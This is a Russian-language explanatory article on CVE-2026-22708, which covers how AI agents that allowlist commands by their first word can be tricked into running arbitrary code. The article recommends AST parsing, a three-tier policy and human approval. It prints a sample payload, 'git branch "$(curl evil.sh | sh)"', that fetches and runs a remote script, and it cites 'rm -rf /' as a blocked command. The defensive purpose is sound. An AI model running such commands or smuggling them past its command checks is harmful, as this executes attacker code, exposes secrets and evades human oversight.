Недавно обнаруженная уязвимость CVE-2026-22708 показывает, что ИИ-агенты, полагающиеся на простые белые списки команд, могут быть обмануты для выполнения вредоносного кода. Эта брешь позволяет злоумышленнику спрятать полезную нагрузку внутри на первый взгляд безобидной команды, предоставляя агенту прямой путь для запуска произвольных скриптов на хост-системе.

Большинство ИИ-ассистентов, автоматизирующих разработку или эксплуатацию, работают путем проверки первого слова команды по белому списку. Если слово совпадает с таким пунктом, как git или npm, запрос пропускается напрямую. Такое «сопоставление по префиксу» привлекательно, так как его легко реализовать, и оно кажется эффективным способом предотвратить запуск агентом опасных утилит.

На практике такой подход является дырой в безопасности. Злоумышленник может встроить подстановку команд или другую функцию оболочки после разрешенного слова, и белый список этого никогда не заметит. Классический пример:

git branch "$(curl evil.sh | sh)"

Белый список видит только git и одобряет запрос. Затем оболочка выполняет подстановку $(curl evil.sh | sh), скачивает скрипт и запускает его с привилегиями агента. Тот же трюк работает с любым разрешенным бинарным файлом, который принимает аргументы, интерпретируемые оболочкой.

Последствия серьезны, поскольку ИИ-агентам все чаще доверяют привилегированные среды — конвейеры непрерывной интеграции (CI), облачные контейнеры разработки и даже рабочие станции пользователей. Если агента можно заставить выполнить полезную нагрузку, злоумышленник получает те же права доступа, которыми обладает агент, включая секретные ключи, учетные данные для развертывания или неограниченный доступ к файловой системе.

Почему простые белые списки не работают

  • Сопоставление строк, а не политики — проверка только первого токена игнорирует структуру командной строки. Она не учитывает, как интерпретируются аргументы и содержат ли они метасимволы оболочки.
  • Мощные возможности оболочки — подстановки, конвейеры и перенаправления обрабатываются уже после проверки белого списка, превращая безобидную на вид команду в полноценный эксплойт.
  • Отсутствие контекстной осведомленности — белый список не может отличить безопасную команду git status от опасной git push --force, которая может перезаписать историю в продакшене.

Более устойчивая модель

Реакция сообщества на CVE-2026-22708 заключается в переходе от наивных проверок строк к парсингу команд в абстрактное синтаксическое дерево (AST). AST представляет собой иерархическую структуру команды, отделяя исполняемый файл от его аргументов и любых конструкций оболочки. Как только команда разбивается на части, механизм политик может оценить ее по трем различным категориям:

  • БЕЗОПАСНО — команды, которые соответствуют проверенным правилам и не содержат рискованных конструкций. Агент запускает их автоматически. Пример: git status.
  • ЗАБЛОКИРОВАНО — команды, соответствующие паттернам, признанным опасными, например, те, которые обращаются к секретным файлам, удаляют директории или вызывают привилегированные скрипты. Агент немедленно прерывает их выполнение. Пример: rm -rf /.
  • НЕОПРЕДЕЛЕННО — команды, которые не вписываются четко ни в категорию безопасных, ни в категорию заблокированных. Агент должен запросить явное одобрение человека перед продолжением. Пример: git push --force.

Введение уровня «НЕОПРЕДЕЛЕННО» меняет модель угроз. Вместо того чтобы рассматривать каждую неизвестную команду как ошибку, система превращает неопределенность в контролируемое взаимодействие. Одним из практических способов обеспечить этап одобрения является выдача одноразового HMAC-токена, который пользователь должен передать агенту. Поскольку токен криптографически связан с запросом, агент не может подделать согласие.

Баланс между безопасностью и удобством использования

Критики могут возразить, что парсинг AST увеличивает задержки или что трехступенчатая модель может завалить пользователей запросами на подтверждение, снижая продуктивность. Эти опасения обоснованы: плохо настроенный набор правил может генерировать ложноположительные срабатывания, а сложный парсинг может быть более ресурсоемким, чем простая проверка строки. Однако альтернатива — разрешение произвольного выполнения кода — обходится гораздо дороже. Гибридные подходы, сочетающие легковесную песочницу с анализом AST, могут смягчить влияние на производительность, обеспечивая при этом надежное соблюдение политик.

Что стоит на кону для разработчиков и предприятий

  • Конфиденциальность данных — скомпрометированный агент может похитить API-ключи, пароли и проприетарный код.
  • Целостность системы — вредоносные команды могут изменять или удалять артефакты продакшена, откатывать релизы или устанавливать бэкдоры.
  • Регуляторные риски — нарушения, вызванные небезопасной автоматизацией, могут привести к штрафам за несоблюдение нормативных требований, особенно в секторах со строгими правилами обработки данных.

Проекты, игнорирующие эти риски, часто либо парализуют агента избыточно строгими правилами, либо оставляют его уязвимым для эксплуатации. Компромиссное решение — определение четких групп SAFE, BLOCKED и UNCERTAIN — предлагает практический путь как к безопасности, так и к эффективности.

На что обратить внимание в дальнейшем

  • Инструментарий — ожидайте появления библиотек с открытым исходным кодом, предоставляющих парсеры на основе AST для распространенных оболочек и конвейеров сборки, а также готовые шаблоны политик.
  • Стандарты — отраслевые группы могут предложить базовые наборы правил для типичных команд разработки, подобно тому как среды выполнения контейнеров стандартизировали профили seccomp.
  • Аудит — команды безопасности, скорее всего, добавят «проверки адекватности белых списков» (allowlist sanity checks) в свои конвейеры аудита CI/CD, помечая любые конфигурации агентов, которые полагаются исключительно на сопоставление префиксов.

Основной вывод

Если ваш ИИ-агент до сих пор решает, что запускать, глядя только на первое слово команды, он подвержен уязвимости, продемонстрированной в CVE-2026-22708. Замените этот подход парсингом на основе AST и трехуровневой политикой, которая требует подтверждения человеком для неоднозначных действий. Этот дополнительный шаг может показаться неудобством, но он превращает «слепую зону» в проверяемую точку контроля, защищая как ваш код, так и вашу инфраструктуру.